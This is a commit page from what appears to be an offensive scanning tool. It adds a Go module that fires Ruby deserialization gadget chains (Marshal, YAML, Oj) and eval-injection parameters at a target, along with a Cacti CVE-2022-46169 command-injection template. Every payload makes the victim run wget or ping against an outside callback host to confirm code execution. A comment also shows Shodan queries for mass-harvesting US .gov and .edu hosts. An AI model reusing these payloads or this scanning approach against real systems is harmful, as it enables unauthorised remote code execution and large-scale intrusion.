Skip to content

Commit c71acab

Browse files
committed
add pocs_go/ruby/chkRuby 2023-01-15
1 parent c0ce066 commit c71acab

File tree

20 files changed

+2287
-10
lines changed

20 files changed

+2287
-10
lines changed

.github/workflows/build.yml

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -43,19 +43,20 @@ jobs:
4343
fetch-depth: 0
4444
- name: Checkout submodules
4545
run: git submodule update --init --recursive
46-
- name: Install cross-compiler for linux/arm64
47-
run: sudo apt-get -y install gcc-aarch64-linux-gnu
46+
# - name: Install cross-compiler for linux/arm64
47+
# run: sudo apt-get -y install gcc-aarch64-linux-gnu
4848
- name: Set up Go
4949
uses: actions/setup-go@v2
5050
with:
5151
go-version: 1.18
5252
- name: Install Dependences
5353
run: |
5454
sudo apt-get update
55-
sudo apt-get -y install gcc-mingw-w64-x86-64
56-
sudo apt-get -y install gcc-arm-linux-gnueabihf libc6-dev-armhf-cross
57-
sudo apt-get -y install gcc-aarch64-linux-gnu libc6-dev-arm64-cross
58-
sudo apt install -yy libpcap-dev upx gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
55+
# sudo apt-get -y install gcc-mingw-w64-x86-64
56+
# sudo apt-get -y install gcc-arm-linux-gnueabihf libc6-dev-armhf-cross
57+
# sudo apt-get -y install gcc-aarch64-linux-gnu libc6-dev-arm64-cross
58+
sudo apt install -yy libpcap-dev
59+
# sudo apt install upx gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
5960
chmod +x .github/workflows/upx.sh
6061
# git submodule update --init --recursive --remote
6162
- name: Run GoReleaser

.gitmodules

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,3 +7,6 @@
77
[submodule "config/fuzzing-templates"]
88
path = config/fuzzing-templates
99
url = https://github.com/projectdiscovery/fuzzing-templates.git
10+
[submodule "tools/ProxyShell"]
11+
path = tools/ProxyShell
12+
url = https://github.com/ktecv2000/ProxyShell.git

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -211,7 +211,7 @@ more see: <a href=https://github.com/hktalent/ProScan4all/discussions>discussion
211211
- 2022-06-07 增加http url列表精准扫描参数,根据环境变量UrlPrecise=true开启
212212
213213
# Communication group (WeChat, QQ,Tg)
214-
| Wechat | Or | QQchat | Or | Tg |
214+
|Wechat|Or|QQchat|Or|Tg|
215215
|---|---|---|--- |--- |
216216
| <img width=166 src=https://github.com/hktalent/scan4all/blob/main/static/wcq.JPG> || <img width=166 src=https://github.com/hktalent/scan4all/blob/main/static/qqc.jpg> || <img width=166 src=https://github.com/hktalent/sall/blob/main/static/tg.jpg> |
217217

brute/dicts/filedic.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -122,6 +122,7 @@
122122
/components/com_users/views/login/tmpl/index.html
123123
/components/com_users/views/login/view.html.php
124124
/confluence/login.vm
125+
/old/wp-admin/setup-config.php
125126
/console/login/LoginForm.jsp
126127
/doc/page/login.asp
127128
/downloader/template/login.phtml

config/51pwn/CVE-2022-46169.yaml

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
id: CVE-2022-46169_51pwn
2+
3+
info:
4+
name: Unauthenticated Command Injection
5+
author: 51pwn
6+
severity: critical
7+
description: |
8+
The vulnerability resides in the remote_agent.php file. This file can be accessed without authentication. In order to verify that the client is allowed the function remote_client_authorized is called:
9+
10+
11+
requests:
12+
- raw:
13+
- |
14+
GET /cacti/remote_agent.php?action=polldata&poller_id=;ping%20-c%202%20`whoami`.ccsy8s32vtc0000x5nagg8rkyboyyyyyc.oast.fun&host_id=2&local_data_ids[]=6 HTTP/1.1
15+
Host: {{Hostname}}
16+
User-Agent: Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020
17+
Accept-Charset: utf-8
18+
Accept-Encoding: gzip, deflate
19+
Connection: close
20+
X-Forwarded-For: 127.0.0.1
21+
22+
matchers-condition: and
23+
matchers:
24+
- type: word
25+
words:
26+
- '[{"value": "'
27+
condition: and

config/config.json

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,7 @@
5959
"-pc","{PWD}/config/uncover/provider-config.yaml",
6060
"-config","{PWD}/config/uncover/config.yaml",
6161
"-f","ip,port,host",
62+
"-l","900000",
6263
"-shodan",
6364
"-silent","-nc","-json","-o",""
6465
],

tools/cve/main.go renamed to cveMain.go

Lines changed: 15 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
package main
22

33
import (
4+
"embed"
5+
_ "github.com/hktalent/ProScan4all/engine"
46
"github.com/hktalent/ProScan4all/lib/util"
57
"github.com/hktalent/ProScan4all/pocs_go"
68
"github.com/hktalent/ProScan4all/pocs_go/Springboot"
@@ -17,6 +19,7 @@ import (
1719
"github.com/hktalent/ProScan4all/pocs_go/mcms"
1820
"github.com/hktalent/ProScan4all/pocs_go/ms"
1921
"github.com/hktalent/ProScan4all/pocs_go/phpunit"
22+
"github.com/hktalent/ProScan4all/pocs_go/ruby"
2023
"github.com/hktalent/ProScan4all/pocs_go/seeyon"
2124
"github.com/hktalent/ProScan4all/pocs_go/spark"
2225
"github.com/hktalent/ProScan4all/pocs_go/sunlogin"
@@ -25,13 +28,18 @@ import (
2528
"github.com/hktalent/ProScan4all/pocs_go/weblogic"
2629
"github.com/hktalent/ProScan4all/pocs_go/zabbix"
2730
"github.com/hktalent/ProScan4all/pocs_go/zentao"
31+
"log"
2832
"os"
2933
)
3034

35+
//go:embed config/*
36+
var Config embed.FS
37+
3138
// 多个web cve 检测
3239
func main() {
33-
util.DoInit(nil)
40+
util.DoInit(&Config)
3441
for _, cbk := range []func(string) bool{
42+
ruby.DoCheck,
3543
apache.CVE_2020_13935Noe,
3644
confluence.CVE_2021_26084,
3745
confluence.CVE_2022_26134,
@@ -89,7 +97,12 @@ func main() {
8997
weblogic.CVE_2021_2109,
9098
} {
9199
cbk1 := cbk
92-
util.DoSyncFunc(func() {
100+
util.DefaultPool.Submit(func() {
101+
defer func() {
102+
if o := recover(); nil != o {
103+
log.Println(o)
104+
}
105+
}()
93106
cbk1(os.Args[1])
94107
})
95108
}

pkg/xcmd/allCmdTools.go

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -303,8 +303,12 @@ func DoRaw4FuzzCmd(s, t string) string {
303303
}
304304

305305
/*
306+
ssl:".edu" country:"US"
307+
306308
./uncover -q 'ssl:"paypal.com"' -e shodan -pc ../../config/uncover/provider-config.yaml -config ../../config/uncover/config.yaml -f ip,port,host -json -o paypal1.json
307309
310+
./uncover -q 'ssl:".gov" country:"US"' -l 500000 -e shodan -pc ../../config/uncover/provider-config.yaml -config ../../config/uncover/config.yaml -f ip,port,host -json -o edu.json
311+
308312
'ssl:"China Lodging Group"'
309313
'ssl:"huazhu"'
310314
'ssl:"huazhu.com"'

pocs_go/ruby/chkRuby.go

Lines changed: 246 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,246 @@
1+
package ruby
2+
3+
import (
4+
"encoding/hex"
5+
"fmt"
6+
"github.com/hktalent/ProScan4all/lib/util"
7+
"io"
8+
"log"
9+
"net/url"
10+
"strings"
11+
"sync"
12+
)
13+
14+
/*
15+
https://bishopfox.com/blog
16+
*/
17+
func DoCheck(u string) bool {
18+
bRst := false
19+
if oH, err := url.Parse(u); nil == err {
20+
szU := fmt.Sprintf("%s://%s/", oH.Scheme, oH.Host)
21+
szId := hex.EncodeToString([]byte(szU))
22+
aCmd := []string{"wget https://rce.51pwn.com/rceCheck?c=" + szId + "&vulId=%d_"}
23+
var wg sync.WaitGroup
24+
for n, c := range aCmd {
25+
c = fmt.Sprintf(c, n)
26+
//szC := url.QueryEscape(c)
27+
aPay := []string{
28+
"?url=|" + url.QueryEscape(c+"1"),
29+
"?send_method_name=eval&send_argument=`" + url.QueryEscape(c+"2") + "`",
30+
"?send_value[]=eval&send_value[]=`" + url.QueryEscape(c+"3") + "`",
31+
"?public_send_method_name=instance_eval&public_send_argument=`" + url.QueryEscape(c+"4") + "`",
32+
"?public_send_value[]=instance_eval&public_send_value[]=`" + url.QueryEscape(c+"5") + "`",
33+
"?base64binary=" + url.QueryEscape(util.Base64Encode(`..{.:.payload[.c.Gem::SpecFetcherc.Gem::InstallerU:.Gem::Requirement[.o:.Gem::Package::TarReader.:.@ioo:.Net::BufferedIO.;.o:#Gem::Package::TarReader::Entry.:
34+
@readi.:.@headerI".aaa.:.ET:.@debug_outputo:.Net::WriteAdapter.:.@socketo:.Gem::RequestSet.:
35+
@setso;..;.m.Kernel:.@method_id:.system:
36+
@git_setI".`+c+`6.;
37+
T;.:.resolve`)),
38+
"?base64binary=" + url.QueryEscape(util.Base64Encode(`..U:,ActiveRecord::Associations::Association[.o:.Gem::Installer.o:.Gem::Package::TarReader.:.@ioo:.Net::BufferedIO.;.o:#Gem::Package::TarReader::Entry.:
39+
@readi.:.@headerI" bbbb.:.ET:.@debug_outputo:.Logger.:.@logdevo:.Rack::Response.:.@bufferedF:
40+
@bodyo:.Set.:
41+
@hash}.o:.Gem::Security::Policy.:
42+
@name{ :
43+
filenameI"./tmp/xyz.txt.;
44+
T:.environmento:&Rails::Initializable::Initializer.:
45+
@contexto:.Sprockets::Context.: dataI"A<%= system('`+c+`7') %>.;
46+
T:
47+
metadata{.TF:.@writero:.Sprockets::ERBProcessor.`)),
48+
}
49+
for _, x1 := range aPay {
50+
wg.Add(1)
51+
go func(s string) {
52+
defer wg.Done()
53+
if resp, err := util.DoGet(s, map[string]string{}); nil == err && nil != resp {
54+
55+
}
56+
}(szU + x1)
57+
}
58+
59+
var aPost = []string{`:payload:
60+
- !ruby/class 'Gem::SpecFetcher'
61+
- !ruby/class 'Gem::Installer'
62+
- !ruby/object:Gem::Requirement
63+
requirements: !ruby/object:Gem::Package::TarReader
64+
io: !ruby/object:Net::BufferedIO
65+
io: !ruby/object:Gem::Package::TarReader::Entry
66+
read: 0
67+
header: aaa
68+
debug_output: !ruby/object:Net::WriteAdapter
69+
socket: !ruby/object:Gem::RequestSet
70+
sets: !ruby/object:Net::WriteAdapter
71+
socket: !ruby/module 'Kernel'
72+
method_id: :system
73+
git_set: ` + c + `8
74+
method_id: :resolve`,
75+
`---
76+
:payload:
77+
- !ruby/object:Gem::SpecFetcher {}
78+
- !ruby/object:Gem::Installer {}
79+
- ? !ruby/object:Gem::Requirement
80+
requirements: !ruby/object:Gem::Package::TarReader
81+
io: !ruby/object:Net::BufferedIO
82+
io: !ruby/object:Gem::Package::TarReader::Entry
83+
read: 2
84+
header: bbbb
85+
debug_output: !ruby/object:Logger
86+
logdev: !ruby/object:Rack::Response
87+
buffered: false
88+
body: !ruby/object:Set
89+
hash:
90+
? !ruby/object:Gem::Security::Policy
91+
name:
92+
:filename: "/tmp/xyz.txt"
93+
:environment: !ruby/object:Rails::Initializable::Initializer
94+
context: !ruby/object:Sprockets::Context {}
95+
:data: "<%= os_command = '` + c + `9'; system(os_command); %>"
96+
:metadata: {}
97+
: true
98+
writer: !ruby/object:Sprockets::ERBProcessor {}
99+
: dummy_value`,
100+
}
101+
// Content-Type: application/json
102+
var m1 = map[string]interface{}{}
103+
for i, w := range aPost {
104+
m1["yaml"] = w
105+
if data, err := util.Json.Marshal(&m1); nil == err {
106+
aPost[i] = string(data)
107+
}
108+
}
109+
aPost = append(aPost, `[{"^c":"Gem::SpecFetcher"},{"^c":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"debug_output":{"^o":"Net::WriteAdapter","socket":{"^o":"Gem::RequestSet","sets":{"^o":"Net::WriteAdapter","socket":{"^c":"Kernel"},"method_id":":system"},"git_set":"`+c+`10"},"method_id":":resolve"}}}}]`)
110+
111+
// oj
112+
aPost = []string{`{
113+
"^#1": [
114+
[
115+
{
116+
"^c": "Gem::SpecFetcher"
117+
},
118+
{
119+
"^c": "Gem::Installer"
120+
},
121+
{
122+
"^o": "Gem::Requirement",
123+
"requirements": {
124+
"^o": "Gem::Package::TarReader",
125+
"io": {
126+
"^o": "Net::BufferedIO",
127+
"io": {
128+
"^o": "Gem::Package::TarReader::Entry",
129+
"read": 0,
130+
"header": "aaa"
131+
},
132+
"debug_output": {
133+
"^o": "Net::WriteAdapter",
134+
"socket": {
135+
"^o": "Gem::RequestSet",
136+
"sets": {
137+
"^o": "Net::WriteAdapter",
138+
"socket": {
139+
"^c": "Kernel"
140+
},
141+
"method_id": ":system"
142+
},
143+
"git_set": "` + c + `11"
144+
},
145+
"method_id": ":resolve"
146+
}
147+
}
148+
}
149+
}
150+
],
151+
"dummy_value"
152+
]
153+
}`, `{
154+
"^#1": [
155+
[
156+
{
157+
"^c": "Gem::SpecFetcher"
158+
},
159+
{
160+
"^o": "Gem::Installer"
161+
},
162+
{
163+
"^o": "Gem::Requirement",
164+
"requirements": {
165+
"^o": "Gem::Package::TarReader",
166+
"io": {
167+
"^o": "Net::BufferedIO",
168+
"io": {
169+
"^o": "Gem::Package::TarReader::Entry",
170+
"read": 2,
171+
"header": "bbbb"
172+
},
173+
"debug_output": {
174+
"^o": "Logger",
175+
"logdev": {
176+
"^o": "Rack::Response",
177+
"buffered": false,
178+
"body": {
179+
"^o": "Set",
180+
"hash": {
181+
"^#2": [
182+
{
183+
"^o": "Gem::Security::Policy",
184+
"name": {
185+
":filename": "/tmp/xyz.txt",
186+
":environment": {
187+
"^o": "Rails::Initializable::Initializer",
188+
"context": {
189+
"^o": "Sprockets::Context"
190+
}
191+
},
192+
":data": "<%= system('` + c + `12') %>",
193+
":metadata": {}
194+
}
195+
},
196+
true
197+
]
198+
}
199+
},
200+
"writer": {
201+
"^o": "Sprockets::ERBProcessor"
202+
}
203+
}
204+
}
205+
}
206+
}
207+
}
208+
],
209+
"dummy_value"
210+
]
211+
}`}
212+
delete(m1, "yaml")
213+
for _, w := range aPost {
214+
// dummy_value 是尝试注入的输入字段
215+
m1["oj"] = w
216+
if data, err := util.Json.Marshal(&m1); nil == err {
217+
aPost = append(aPost, string(data))
218+
}
219+
}
220+
for _, x := range aPost {
221+
wg.Add(1)
222+
go func(s string) {
223+
defer wg.Done()
224+
if resp, err := util.DoPost(szU, map[string]string{"Content-Type": "application/json"}, strings.NewReader(s)); nil == err && nil != resp {
225+
}
226+
}(x)
227+
}
228+
}
229+
// 检测、确认结果
230+
wg.Wait()
231+
if resp, err := util.DoGet("https://rce.51pwn.com/rceCheck?q="+szId, map[string]string{}); nil == err && nil != resp {
232+
var a = []map[string]string{}
233+
if data, err := io.ReadAll(resp.Body); nil == err {
234+
if nil == util.Json.Unmarshal(data, &a) {
235+
if 0 < len(a) {
236+
log.Printf("fond vuls ruby %v\n", a)
237+
bRst = true
238+
}
239+
}
240+
}
241+
}
242+
} else {
243+
log.Println(u, err)
244+
}
245+
return bRst
246+
}

0 commit comments

Comments
 (0)